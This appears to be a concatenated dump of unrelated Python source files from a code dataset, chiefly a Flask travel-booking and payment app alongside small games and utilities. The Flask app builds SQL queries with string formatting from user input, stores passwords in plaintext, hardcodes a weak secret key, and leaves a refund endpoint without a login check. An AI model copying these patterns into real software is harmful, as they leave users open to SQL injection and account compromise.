\"d99339db-a4a2-42da-8e91-d58cd7751b09\",\n \"managementFeeAggregateId\": \"\",\n \"dateFrom\": \"2019-06-06\",\n \"dateTo\": \"2019-06-06\",\n \"dueDate\": \"2019-06-06\",\n \"description\": \"toketas\",\n \"amountInCents\": 666,\n \"amountUsedInCents\": 0,\n \"balanceInCents\": 2200,\n \"managementFeeRateCents\": 15840,\n \"invoiceId\": \"t_248362\",\n \"invoiceLinkId\": 171698,\n },\n ]\n }\n ],\n \"revision\": {\n \"id\": None,\n #\"revisionNumber\": 1,\n \"username\": \"GLOBALVIEW.CR\",\n \"fullName\": \"GLOBALVIEW.CR\",\n \"activityTypeId\": 8,\n \"postDate\": \"2019-07-05T19:30:23.182798\",\n \"note\": \"Contracts data synchronization with Globalview tesst\"\n }\n}\n\nANOTHER_KEY = { \"aggregateId\": \"252f69ba-e167-4364-ba1c-10e4277f3c02\" }\n\nMOCKED_KEY = { \"aggregateId\": \"1fc47cbd-539e-42f9-804e-d613800216a9\" }\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"79541484","text":"import os.path\nimport sys\nfrom typing import cast\n\nfrom ruamel.yaml.main import YAML\n\nif sys.version_info.minor >= 8:\n from scan_to_paperless import config as stp_config\nelse:\n from scan_to_paperless import config_old as stp_config # type: ignore\n\nCONFIG_FILENAME = \"scan-to-paperless.yaml\"\n\nif \"APPDATA\" in os.environ:\n CONFIG_FOLDER = os.environ[\"APPDATA\"]\nelif \"XDG_CONFIG_HOME\" in os.environ:\n CONFIG_FOLDER = os.environ[\"XDG_CONFIG_HOME\"]\nelse:\n CONFIG_FOLDER = os.path.expanduser(\"~/.config\")\n\nCONFIG_PATH = os.path.join(CONFIG_FOLDER, CONFIG_FILENAME)\n\n\ndef get_config() -> stp_config.Configuration:\n if os.path.exists(CONFIG_PATH):\n yaml = YAML()\n yaml.default_flow_style = False\n with open(CONFIG_PATH, encoding=\"utf-8\") as config_file:\n return cast(stp_config.Configuration, yaml.load(config_file.read()))\n return {}\n","sub_path":"scan_to_paperless/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"363868410","text":"import turtle\r\nimport random\r\n\r\nscreen = turtle.Screen()\r\nwidth = 500\r\nheight = 400\r\nscreen.setup(width, height)\r\npaddles = []\r\nbricks = []\r\n\r\nx_position = -50\r\n##for creating the paddle\r\nfor i in range(5):\r\n screen.tracer(0)\r\n paddle = turtle.Turtle(\"square\")\r\n paddle.penup()\r\n paddle.color(\"black\")\r\n paddle.goto(x_position, -180)\r\n x_position += 20\r\n paddles.append(paddle)\r\n screen.tracer(1)\r\n\r\n\r\n## Function that moves the paddle to the right\r\ndef move_paddle_right():\r\n if paddles[0].xcor() <= 140:\r\n screen.tracer(0)\r\n for paddle in paddles:\r\n paddle.forward(20)\r\n screen.tracer(1)\r\n\r\n\r\n## Function that moves the paddle to the left\r\ndef move_paddle_left():\r\n if paddles[2].xcor() >= -200:\r\n screen.tracer(0)\r\n for paddle in paddles:\r\n paddle.backward(20)\r\n screen.tracer(1)\r\n\r\n\r\n## creating the bricks\r\nx_position = -200\r\ny_position = 160\r\nscreen.tracer(0)\r\nfor i in range(27):\r\n if i == 9:\r\n x_position = -200\r\n y_position = 120\r\n if i == 18:\r\n x_position = -200\r\n y_position = 80\r\n new_brick = turtle.Turtle(\"square\")\r\n new_brick.penup()\r\n new_brick.shapesize(1, 2)\r\n new_brick.goto(x_position, y_position)\r\n x_position += 50\r\n bricks.append(new_brick)\r\nscreen.tracer(1)\r\n\r\n## defining the ball\r\nball = turtle.Turtle()\r\nball.penup()\r\nball.color(\"cyan\")\r\nball.shape(\"circle\")\r\nball.shapesize(0.8)\r\nball.goto(-40,-160)\r\nball.left(90)\r\nprint(ball.heading())\r\n \r\nscreen.onkey(move_paddle_right, \"Right\")\r\nscreen.onkey(move_paddle_left, \"Left\")\r\nscreen.listen()\r\n\r\nyplus = 1\r\nxplus = 1\r\ndistance = 3\r\nclose = 20\r\ngame_on = True\r\nrandom_number = random.randint(40,120)\r\nwhile 100 - random_number > 0 and 100 - random_number < 16:\r\n random_number = random.randint(40,120)\r\n##ball.setheading(45)\r\n\r\n## Writing Turtle\r\nturtle.hideturtle()\r\nturtle.penup()\r\nturtle.goto(-100,0)\r\nturtle.pendown()\r\n\r\n## Game Starts \r\nwhile game_on:\r\n # If the ball hits bottom end the code\r\n if ball.ycor() <= -180:\r\n turtle.write(\"Game over\",font=(\"Arial\", 15, \"normal\"))\r\n break\r\n \r\n # If the ball hits the top bounce the ball back\r\n if ball.ycor() > 190 :\r\n yplus *= -1\r\n \r\n # If the ball hits the side bounce the ball back \r\n if ball.xcor() >= 240 or ball.xcor() <= -240:\r\n xplus *= -1\r\n\r\n # If the ball hit the brick i want you to take the brick away \r\n for i in bricks:\r\n if -close < ball.ycor() - i.ycor() < close and -close< ball.xcor() - i.xcor() < close:\r\n screen.tracer(0)\r\n i.goto(1000,1000)\r\n print(ball.heading())\r\n bricks.remove(i)\r\n screen.tracer(1)\r\n \r\n # If the ball touches the paddle I want it to bounce back\r\n for i in paddles:\r\n if i.distance(ball) <18:\r\n print(\"yes\")\r\n yplus*= -1\r\n \r\n # Print game over when there is no more brick\r\n if len(bricks) == 0:\r\n turtle.write(\"Congratulations You win\",font=(\"Arial\", 15, \"normal\"))\r\n break\r\n ball.goto(ball.xcor()+xplus,ball.ycor()+yplus)\r\n \r\n##screen.exitonclick()\r\n","sub_path":"brick_braker.py","file_name":"brick_braker.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"149087936","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nauthor: MZero\nwebsite: flyzero.cn\nlast edited: 2016-08-31\n\"\"\"\n\nimport sys\n\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QAction, QPushButton\n\nfrom DownImgs.DownImgsWindow import ImgsWin\n\n\nclass WishTool(QMainWindow):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n # 初始化UI界面\n def initUI(self):\n # 关于\n about = QAction(\"&关于\", self, triggered=self.about)\n addMenu = self.menuBar().addMenu(\"&File\")\n addMenu.addAction(about)\n\n # 状态\n # self.statusBar().showMessage('Ready')\n\n self.resize(640, 480)\n self.setWindowTitle(u'WishTool (海玲么么哒)')\n\n # 添加工具按钮\n self.addTool()\n\n self.show()\n\n # 关于\n def about(self):\n print(\"hhh\")\n\n # 添加按钮\n def addTool(self):\n # 批量下载图片按钮\n downImgsBtn = QPushButton('批量下载图片', self)\n downImgsBtn.clicked.connect(self.downImgsWindow)\n downImgsBtn.setGeometry(10,10,200,50)\n self.imgWin = ImgsWin()\n\n # 进入下载图片界面\n def downImgsWindow(self):\n self.imgWin.show()\n\n# 启动\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = WishTool()\n sys.exit(app.exec_())","sub_path":"WishTool.py","file_name":"WishTool.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"303754006","text":"from flask import *\nimport mysql.connector\nimport math\nimport datetime\nimport requests\nfrom dbutils.pooled_db import PooledDB\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\napp = Flask(__name__)\napp.secret_key = \"abcdefghijk\"\napp.config[\"JSON_AS_ASCII\"] = False\napp.config[\"TEMPLATES_AUTO_RELOAD\"] = True\n\nmydbPOOL = PooledDB(\n creator=mysql.connector, # 使用連結資料庫的模組\n maxconnections=10, # 連線池允許的最大連線數,0和None表示不限制連線數\n mincached=2, # 初始化時,連結池中至少建立的空閒的連結,0表示不建立\n maxcached=5, # 連結池中最多閒置的連結,0和None不限制\n maxshared=0, # 連結池中最多共享的連結數量,0和None表示全部共享。PS: 無用,因為pymysql和MySQLdb等模組的 threadsafety都為1,所有值無論設定為多少,_maxcached永遠為0,所以永遠是所有連結都共享。\n blocking=True, # 連線池中如果沒有可用連線後,是否阻塞等待。True,等待;False,不等待然後報錯\n maxusage=None, # 一個連結最多被重複使用的次數,None表示無限制\n setsession=[], # 開始會話前執行的命令列表。如:[\"set datestyle to ...\", \"set time zone ...\"]\n ping=0,\n # ping MySQL服務端,檢查是否服務可用。# 如:0 = None = never, 1 = default = whenever it is requested, 2 = when a cursor is created, 4 = when a query is executed, 7 = always\n host='localhost',\n port=3306,\n user=os.getenv('db_user'),\n password=os.getenv('db_password'),\n database='Attraction',\n charset='utf8'\n)\n\nuserdbPOOL = PooledDB(\n creator=mysql.connector,\n maxconnections=10,\n mincached=2,\n maxcached=5,\n maxshared=0,\n blocking=True,\n maxusage=None,\n setsession=[],\n ping=0,\n host='localhost',\n port=3306,\n user=os.getenv('db_user'),\n password=os.getenv('db_password'),\n database='User',\n charset='utf8'\n)\n\norderdbPOOL = PooledDB(\n creator=mysql.connector,\n maxconnections=10,\n mincached=2,\n maxcached=5,\n maxshared=0,\n blocking=True,\n maxusage=None,\n setsession=[],\n ping=0,\n host='localhost',\n port=3306,\n user=os.getenv('db_user'),\n password=os.getenv('db_password'),\n database='Booking',\n charset='utf8'\n)\n\n\n# mycursor = orderdb.cursor()\n# mycursor.execute(\n# \"CREATE TABLE orders (bookingNumber VARCHAR(255) PRIMARY KEY, price INT, spotid INT, spotname VARCHAR(255), address VARCHAR(255), image VARCHAR(255), date VARCHAR(255), time VARCHAR(255), username VARCHAR(255), email VARCHAR(255),phone VARCHAR(255), status INT, loginEmail VARCHAR(255))\")\n\n# Pages\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route(\"/attraction/\")\ndef attraction(id):\n return render_template(\"attraction.html\")\n\n\n@app.route(\"/booking\")\ndef booking():\n return render_template(\"booking.html\")\n\n\n@app.route(\"/thankyou\")\ndef thankyou():\n return render_template(\"thankyou.html\")\n\n\n@app.route(\"/history\")\ndef history():\n return render_template(\"history.html\")\n\n\n@app.route(\"/api/attractions\")\ndef attractions():\n page = int(request.args.get(\"page\", 0))\n keyword = request.args.get(\"keyword\", None)\n if keyword == None:\n try:\n conn = mydbPOOL.connection()\n mycursor = conn.cursor()\n # 資料庫筆數\n mycursor.execute(\"SELECT COUNT(*) FROM attractions\")\n count = mycursor.fetchone()\n count = count[0]\n # 每頁12筆資料的總頁數\n totalPage = math.ceil(count/12)-1\n mycursor.execute(\n \"SELECT * FROM attractions LIMIT 12 OFFSET {}\".format(page*12))\n myresult = mycursor.fetchall()\n result = []\n for x in myresult:\n y = {\n \"id\": x[0],\n \"name\": x[1],\n \"category\": x[2],\n \"description\": x[3],\n \"address\": x[4],\n \"transport\": x[5],\n \"mrt\": x[6],\n \"latitude\": x[7],\n \"longitude\": x[8],\n \"images\": x[9].replace(\"http\", \"https\").split(\",\")[1:]\n }\n result.append(y)\n conn.close()\n if totalPage <= page:\n page = None\n return Response(json.dumps({\n \"nextPage\": page,\n \"data\": result\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"nextPage\": page+1,\n \"data\": result\n }, sort_keys=False), mimetype=\"application/json\")\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n else:\n try:\n conn = mydbPOOL.connection()\n mycursor = conn.cursor()\n # keyword總筆數\n mycursor.execute(\n \"SELECT COUNT(*) FROM attractions WHERE name Like '%{}%'\".format(keyword))\n count = mycursor.fetchone()\n count = count[0]\n # 每頁12筆資料的總頁數\n totalPage = math.ceil(count/12)-1\n mycursor.execute(\n \"SELECT * FROM attractions WHERE name Like '%{}%' LIMIT 12 OFFSET {}\".format(keyword, page*12))\n myresult = mycursor.fetchall()\n result = []\n for x in myresult:\n y = {\n \"id\": x[0],\n \"name\": x[1],\n \"category\": x[2],\n \"description\": x[3],\n \"address\": x[4],\n \"transport\": x[5],\n \"mrt\": x[6],\n \"latitude\": x[7],\n \"longitude\": x[8],\n \"images\": x[9].replace(\"http\", \"https\").split(\",\")[1:]\n }\n result.append(y)\n conn.close()\n if totalPage <= page:\n page = None\n return Response(json.dumps({\n \"nextPage\": page,\n \"data\": result\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"nextPage\": page+1,\n \"data\": result\n }, sort_keys=False), mimetype=\"application/json\")\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n\n\n@app.route(\"/api/attraction/\")\ndef attractionId(attractionId):\n try:\n attractionId = int(attractionId)\n conn = mydbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"SELECT * FROM attractions WHERE id = '{}'\".format(attractionId))\n myresult = mycursor.fetchone()\n conn.close()\n if myresult != None:\n result = {\n \"id\": myresult[0],\n \"name\": myresult[1],\n \"category\": myresult[2],\n \"description\": myresult[3],\n \"address\": myresult[4],\n \"transport\": myresult[5],\n \"mrt\": myresult[6],\n \"latitude\": myresult[7],\n \"longitude\": myresult[8],\n \"images\": myresult[9].replace(\"http\", \"https\").split(\",\")[1:]\n }\n return Response(json.dumps({\n \"data\": result\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"景點編號不正確\"\n }, sort_keys=False), mimetype=\"application/json\"), 400\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n\n\n@app.route(\"/api/user\", methods=[\"GET\", \"POST\", \"PATCH\", \"DELETE\"])\ndef api_user():\n if request.method == \"GET\":\n loginState = session.get(\"signin\")\n if loginState != None:\n conn = userdbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"SELECT id,name,email FROM users WHERE email = '{}'\".format(loginState))\n myresult = mycursor.fetchone()\n conn.close()\n return Response(json.dumps({\n \"data\": {\n \"id\": myresult[0],\n \"name\": myresult[1],\n \"email\": myresult[2]\n }\n }, sort_keys=False), mimetype=\"application/json\")\n if loginState == None:\n return Response(json.dumps({\n \"data\": None\n }, sort_keys=False), mimetype=\"application/json\")\n elif request.method == \"POST\":\n try:\n data = request.get_json()\n registerName = data[\"name\"]\n registerEmail = data[\"email\"]\n registerPassword = data[\"password\"]\n if registerName == \" \" or registerEmail == \" \" or registerPassword == \" \" or registerName == None or registerEmail == None or registerPassword == None or \"@\" not in registerEmail:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"註冊資料有誤\"\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n conn = userdbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"SELECT email FROM users WHERE email = '{}'\".format(registerEmail))\n myresult = mycursor.fetchone()\n if myresult != None:\n conn.close()\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"此電子郵件已註冊過帳戶\"\n }, sort_keys=False), mimetype=\"application/json\"), 400\n if myresult == None:\n ins = \"INSERT INTO users (name, email, password) VALUES (%s, %s, %s)\"\n val = (registerName, registerEmail, registerPassword)\n mycursor.execute(ins, val)\n conn.commit()\n conn.close()\n return Response(json.dumps({\n \"ok\": True\n }, sort_keys=False), mimetype=\"application/json\")\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n\n elif request.method == \"PATCH\":\n try:\n data = request.get_json()\n loginEmail = data[\"email\"]\n loginPassword = data[\"password\"]\n conn = userdbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"SELECT email,password FROM users WHERE email = '{}'\".format(loginEmail))\n myresult = mycursor.fetchone()\n conn.close()\n if myresult != None and myresult[1] == loginPassword:\n session[\"signin\"] = myresult[0]\n session.permanent = True\n return Response(json.dumps({\n \"ok\": True,\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"電子郵件或密碼輸入錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 400\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n elif request.method == \"DELETE\":\n session.clear()\n return Response(json.dumps({\n \"ok\": True,\n }, sort_keys=False), mimetype=\"application/json\")\n\n\n@app.route(\"/api/booking\", methods=[\"GET\", \"POST\", \"DELETE\"])\ndef api_booking():\n if request.method == \"GET\":\n loginState = session.get(\"signin\")\n if loginState != None:\n attractionId = session.get(\"attractionId\")\n date = session.get(\"date\")\n time = session.get(\"time\")\n price = session.get(\"price\")\n conn = mydbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"SELECT id,name,address,images FROM attractions WHERE id = '{}'\".format(attractionId))\n myresult = mycursor.fetchone()\n conn.close()\n result = None\n if myresult != None:\n result = {\n \"id\": myresult[0],\n \"name\": myresult[1],\n \"address\": myresult[2],\n \"image\": myresult[3].replace(\"http\", \"https\").split(\",\")[1]\n }\n return Response(json.dumps({\n \"data\": {\n \"attraction\": result,\n \"date\": date,\n \"time\": time,\n \"price\": price\n }\n }, sort_keys=False), mimetype=\"application/json\")\n\n if loginState == None:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"尚未登入系統\"\n }, sort_keys=False), mimetype=\"application/json\"), 403\n\n elif request.method == \"POST\":\n try:\n loginState = session.get(\"signin\")\n if loginState != None:\n data = request.get_json()\n attractionId = data[\"attractionId\"]\n date = data[\"date\"]\n time = data[\"time\"]\n price = data[\"price\"]\n if attractionId != None and date != None and time != None and price != None:\n session[\"attractionId\"] = attractionId\n session[\"date\"] = date\n session[\"time\"] = time\n session[\"price\"] = price\n session.permanent = True\n return Response(json.dumps({\n \"ok\": True\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"輸入不正確或���他原因\"\n }, sort_keys=False), mimetype=\"application/json\"), 400\n if loginState == None:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"尚未登入系統\"\n }, sort_keys=False), mimetype=\"application/json\"), 403\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n\n elif request.method == \"DELETE\":\n loginState = session.get(\"signin\")\n if loginState != None:\n session.pop('attractionId', None)\n session.pop('date', None)\n session.pop('time', None)\n session.pop('price', None)\n return Response(json.dumps({\n \"ok\": True\n }, sort_keys=False), mimetype=\"application/json\")\n if loginState == None:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"尚未登入系統\"\n }, sort_keys=False), mimetype=\"application/json\"), 403\n\n\n@app.route(\"/api/orders\", methods=[\"POST\"])\ndef api_orders():\n try:\n loginState = session.get(\"signin\")\n if loginState != None:\n today = datetime.datetime.now()\n bookingNumber = today.strftime('%Y%m%d%H%M%S%f')[:-3]\n data = request.get_json()\n prime = data[\"prime\"]\n price = data[\"order\"][\"price\"]\n spotid = data[\"order\"][\"trip\"][\"attraction\"][\"id\"]\n spotname = data[\"order\"][\"trip\"][\"attraction\"][\"name\"]\n address = data[\"order\"][\"trip\"][\"attraction\"][\"address\"]\n image = data[\"order\"][\"trip\"][\"attraction\"][\"image\"]\n date = data[\"order\"][\"trip\"][\"date\"]\n time = data[\"order\"][\"trip\"][\"time\"]\n contactName = data[\"order\"][\"contact\"][\"name\"]\n contactEmail = data[\"order\"][\"contact\"][\"email\"]\n contactPhone = data[\"order\"][\"contact\"][\"phone\"]\n # payStatus 0:已付款 1:未付款 2:已退款\n payStatus = 1\n checkdate = datetime.datetime.strptime(date, '%Y-%m-%d')\n if checkdate < today or date == \" \" or date == None:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"行程日期有誤\"\n }, sort_keys=False), mimetype=\"application/json\")\n elif \"morning\" not in time and \"afternoon\" not in time:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"行程時間有誤\"\n }, sort_keys=False), mimetype=\"application/json\")\n elif contactName == \" \" or contactEmail == \" \" or contactPhone == \" \" or contactName == None or contactEmail == None or contactPhone == None or \"@\" not in contactEmail:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"聯絡資訊有誤\"\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n try:\n conn = orderdbPOOL.connection()\n mycursor = conn.cursor()\n ins = \"INSERT INTO orders (bookingNumber, price, spotid, spotname, address, image, date, time, username, email, phone, status, loginEmail) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n val = (bookingNumber, price, spotid, spotname, address, image,\n date, time, contactName, contactEmail, contactPhone, payStatus, loginState)\n mycursor.execute(ins, val)\n conn.commit()\n conn.close()\n # pay by prime request\n payurl = 'https://sandbox.tappaysdk.com/tpc/payment/pay-by-prime'\n payheader = {\n 'x-api-key': os.getenv('partner_key')}\n paydata = {\n \"prime\": prime,\n \"partner_key\": os.getenv('partner_key'),\n \"merchant_id\": \"Ariana0409_TAISHIN\",\n \"details\": \"TapPay Test\",\n \"amount\": price,\n \"cardholder\": {\n \"phone_number\": contactPhone,\n \"name\": contactName,\n \"email\": contactEmail\n }\n }\n payrequest = requests.post(\n payurl, headers=payheader, json=paydata)\n payresponse = json.loads(payrequest.text)\n getstatus = payresponse['status']\n getmsg = payresponse['msg']\n gettrade = payresponse['rec_trade_id']\n if getstatus == 0:\n conn = orderdbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"UPDATE orders SET status = {},tradeID = '{}' WHERE bookingNumber = '{}'\".format(0, gettrade, bookingNumber))\n conn.commit()\n conn.close()\n return Response(json.dumps({\n \"data\": {\n \"number\": bookingNumber,\n \"payment\": {\n \"status\": 0,\n \"message\": \"付款成功\"\n }\n }\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"data\": {\n \"number\": bookingNumber,\n \"payment\": {\n \"status\": getstatus,\n \"message\": getmsg\n }\n }\n }, sort_keys=False), mimetype=\"application/json\")\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"訂單建立失敗\"\n }, sort_keys=False), mimetype=\"application/json\"), 400\n if loginState == None:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"尚未登入系統\"\n }, sort_keys=False), mimetype=\"application/json\"), 403\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n\n\n@app.route(\"/api/order/\")\ndef api_order(orderNumber):\n try:\n loginState = session.get(\"signin\")\n if loginState != None:\n conn = orderdbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"SELECT * FROM orders WHERE bookingNumber = '{}'\".format(orderNumber))\n myresult = mycursor.fetchone()\n conn.close()\n if myresult != None:\n result = {\n \"number\": myresult[0],\n \"price\": myresult[1],\n \"trip\": {\n \"attraction\": {\n \"id\": myresult[2],\n \"name\": myresult[3],\n \"address\": myresult[4],\n \"image\": myresult[5]\n },\n \"date\": myresult[6],\n \"time\": myresult[7]\n },\n \"contact\": {\n \"name\": myresult[8],\n \"email\": myresult[9],\n \"phone\": myresult[10]\n },\n \"status\": myresult[11]\n }\n return Response(json.dumps({\n \"data\": result\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"系統查無資料\"\n }, sort_keys=False), mimetype=\"application/json\")\n if loginState == None:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"尚未登入系統\"\n }, sort_keys=False), mimetype=\"application/json\"), 403\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n\n\n@app.route(\"/api/history\", methods=[\"GET\", \"DELETE\"])\ndef api_history():\n if request.method == \"GET\":\n try:\n loginState = session.get(\"signin\")\n if loginState != None:\n conn = orderdbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"SELECT bookingNumber, price, spotid, spotname, address, image, date, time, status FROM orders WHERE loginEmail = '{}'\".format(loginState))\n myresult = mycursor.fetchall()\n result = []\n for x in myresult:\n if x[8] != 1:\n y = {\n \"number\": x[0],\n \"price\": x[1],\n \"trip\": {\n \"attraction\": {\n \"id\": x[2],\n \"name\": x[3],\n \"address\": x[4],\n \"image\": x[5]\n },\n \"date\": x[6],\n \"time\": x[7]\n },\n \"status\": x[8]\n }\n result.append(y)\n conn.close()\n return Response(json.dumps({\n \"data\": result\n }, sort_keys=False), mimetype=\"application/json\")\n if loginState == None:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"尚未登入系統\"\n }, sort_keys=False), mimetype=\"application/json\"), 403\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n\n elif request.method == \"DELETE\":\n try:\n data = request.get_json()\n refundNumber = data[\"refundNumber\"]\n conn = orderdbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"SELECT tradeID FROM orders WHERE bookingNumber = '{}'\".format(refundNumber))\n myresult = mycursor.fetchone()\n tradeID = myresult[0]\n conn.close()\n if myresult != None:\n # refund request\n refundurl = 'https://sandbox.tappaysdk.com/tpc/transaction/refund'\n refundheader = {\n 'x-api-key': os.getenv('partner_key')}\n refunddata = {\n \"partner_key\": os.getenv('partner_key'),\n \"rec_trade_id\": tradeID\n }\n refundrequest = requests.post(\n refundurl, headers=refundheader, json=refunddata)\n refundresponse = json.loads(refundrequest.text)\n getstatus = refundresponse['status']\n getmsg = refundresponse['msg']\n if getstatus == 0:\n conn = orderdbPOOL.connection()\n mycursor = conn.cursor()\n mycursor.execute(\n \"UPDATE orders SET status = {} WHERE tradeID = '{}'\".format(2, tradeID))\n conn.commit()\n conn.close()\n return Response(json.dumps({\n \"data\": {\n \"number\": refundNumber,\n \"payment\": {\n \"status\": 0,\n \"message\": \"退款成功\"\n }\n }\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"data\": {\n \"number\": refundNumber,\n \"payment\": {\n \"status\": getstatus,\n \"message\": getmsg\n }\n }\n }, sort_keys=False), mimetype=\"application/json\")\n else:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"查找退款訂單失敗\"\n }, sort_keys=False), mimetype=\"application/json\")\n except:\n return Response(json.dumps({\n \"error\": True,\n \"message\": \"伺服器內部錯誤\"\n }, sort_keys=False), mimetype=\"application/json\"), 500\n\n\napp.run(host=\"0.0.0.0\", port=3000, debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":28239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"515848208","text":"from server.app import db\n\n\nclass LanguagesWanted(db.Model):\n __tablename__ = 'languages_wanted'\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\n 'users.id'\n ), nullable=False)\n language_id = db.Column(db.Integer, db.ForeignKey(\n 'languages.id'\n ), nullable=False)\n\n # Relationships\n user = db.relationship('Users', backref='languages_wanted')\n language = db.relationship('Languages', backref='languages_wanted')\n\n def __init__(self, **kwargs):\n self.id = kwargs.get('id')\n self.user_id = kwargs.get('user_id')\n self.language_id = kwargs.get('language_id')\n\n def __repr__(self):\n return ' id: {}, user_id: {}, language_id: {}'.format(\n self.id, self.user_id, self.language_id\n )\n\n def to_dict(self):\n return dict(id=self.id, user_id=self.user_id, language_id=self.language_id)\n","sub_path":"server/models/LanguagesWanted.py","file_name":"LanguagesWanted.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"652920051","text":"# -*- encoding: utf-8 -*-\nimport sys\nr=sys.stdin.readline\nsys.setrecursionlimit(10**6)\n\nN = int(r()) # N x N\ncolor1 = {0: ['.']*(N+2), N+1: ['.']*(N+2)} # 적록색약이 아닌 사람이 봤을 때\ncolor2 = {0: ['.']*(N+2), N+1: ['.']*(N+2)} # 적록색약인 사람이 봤을 때\ncolor1_area = 0\ncolor2_area = 0\n\n\ndef find_area(area, row, col, rgb): # 같은 구역 찾기\n if area[row][col] == rgb:\n area[row][col] = '.'\n\n find_area(area, row-1, col, rgb)\n find_area(area, row+1, col, rgb)\n find_area(area, row, col-1, rgb)\n find_area(area, row, col+1, rgb)\n\n\nfor i in range(1, N+1):\n color1[i] = ['.']\n color2[i] = ['.']\n\n for c in r().rstrip():\n color1[i].append(c)\n\n if c == 'G':\n color2[i].append('R')\n\n else:\n color2[i].append(c)\n\n color1[i].append('.')\n color2[i].append('.')\n\nfor i in range(1, N+1):\n for j in range(1, N+1):\n if color1[i][j] != '.':\n find_area(color1, i, j, color1[i][j])\n color1_area += 1\n\n if color2[i][j] != '.':\n find_area(color2, i, j, color2[i][j])\n color2_area += 1\n\nprint(color1_area, color2_area)\n","sub_path":"Algorithm/Baekjoon/10026 적록색약/10026.py","file_name":"10026.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"334631983","text":"#implement url shortener\n\nimport base64\n\ncurr_id = 1110\ndb = {}\n\ndef put(long_url):\n\tglobal curr_id\n\thash = base64.b64encode((str(curr_id)).encode())\n\tdb[hash] = long_url\n\tcurr_id += 1\n\treturn hash.decode().strip('=')\n\ndef retrieve(short_url):\n return 